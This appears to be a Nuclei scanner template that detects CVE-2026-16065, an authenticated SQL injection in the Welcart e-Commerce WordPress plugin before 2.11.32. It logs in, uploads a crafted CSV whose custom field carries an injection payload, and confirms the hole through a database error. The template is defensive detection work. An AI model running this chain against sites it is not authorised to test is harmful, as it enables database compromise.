Welcart e-Commerce < 2.11.32 - SQL Injection

id: CVE-2026-16065

info:
  name: Welcart e-Commerce < 2.11.32 - SQL Injection
  author: yaswanth77,0x_Akoko
  severity: medium
  description: |
    Welcart e-Commerce WordPress plugin < 2.11.32 contains a SQL injection caused by improper sanitization of values from imported CSV files, letting users with Editor role and above execute arbitrary SQL commands, exploit requires Editor or higher privileges.
  impact: |
    Users with Editor or higher privileges can execute arbitrary SQL commands, potentially leading to data compromise or full database control.
  remediation: |
    Upgrade to version 2.11.32 or later.
  reference:
    - https://wpscan.com/vulnerability/6b7eb3b3-40fc-41de-b7c8-ce955700c02e
    - https://plugins.trac.wordpress.org/changeset?old_path=/usc-e-shop/tags/2.11.31&new_path=/usc-e-shop/tags/2.11.32
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16065
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-16065
    epss-score: 0.01317
    epss-percentile: 0.71034
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 5
    vendor: collne
    product: usc-e-shop
    framework: wordpress
  tags: cve,cve2026,wp,wordpress,wp-plugin,usc-e-shop,welcart,sqli,authenticated,intrusive

variables:
  code: "{{rand_base(6)}}"
  bound: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/usc-e-shop/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: wcversion
        internal: true
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:[ \t]*([0-9][0-9.]*)'

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(wcversion, "< 2.11.32")'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and

  - raw:
      - |
        GET /wp-admin/admin.php?page=usces_itemedit HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: upnonce
        internal: true
        part: body
        group: 1
        regex:
          - 'id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"'

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "usces_upcsv", "upload_register")'
        condition: and

  - raw:
      - |
        POST /wp-admin/admin.php?page=usces_itemedit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{bound}}

        ------{{bound}}
        Content-Disposition: form-data; name="action"

        upload_register
        ------{{bound}}
        Content-Disposition: form-data; name="upload_mode"

        all
        ------{{bound}}
        Content-Disposition: form-data; name="_wpnonce"

        {{upnonce}}
        ------{{bound}}
        Content-Disposition: form-data; name="usces_upcsv"; filename="{{code}}.csv"
        Content-Type: text/csv

        Post ID,post_author,post_content,post_title,post_excerpt,post_status,comment_status,post_password,post_name,post_modified,item_code,item_name,item_restriction,item_pointrate,item_gpnum1,item_gpdis1,item_gpnum2,item_gpdis2,item_gpnum3,item_gpdis3,item_order_acceptable,item_shipping,item_delivery_method,item_shipping_charge,item_individual_s_charge,category,post_tag,custom_field,sku_code,sku_name,sku_cprice,sku_price,sku_zaikonum,sku_zaiko,sku_unit,sku_gptekiyo,sku_applicable_taxrate
        ,1,c,{{code}},,publish,open,,{{code}},2026-06-13 07:00:00,{{code}},{{code}},0,0,0,0,0,0,0,0,1,0,0,0,0,1,,legit=val;;{{code}}') AND (-- - =v,{{code}},{{code}},0,1000,0,0,,0,10
        ------{{bound}}--

    extractors:
      - type: regex
        name: regfile
        internal: true
        part: body
        group: 1
        regex:
          - "tempfilename = '([A-Za-z0-9+/=]+)'"
      - type: regex
        name: ajaxnonce
        internal: true
        part: body
        group: 1
        regex:
          - "'_wpnonce' *: *'([a-z0-9]+)'"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "tempfilename")'
        condition: and

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wel_item_upload_ajax&regfile={{regfile}}&mode=all&work_number=0&comp_num=0&err_num=0&noheader=true&_wpnonce={{ajaxnonce}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "WordPress database error", "DELETE FROM wp_postmeta", "{{code}}&#039;) AND (-- -")'
        condition: and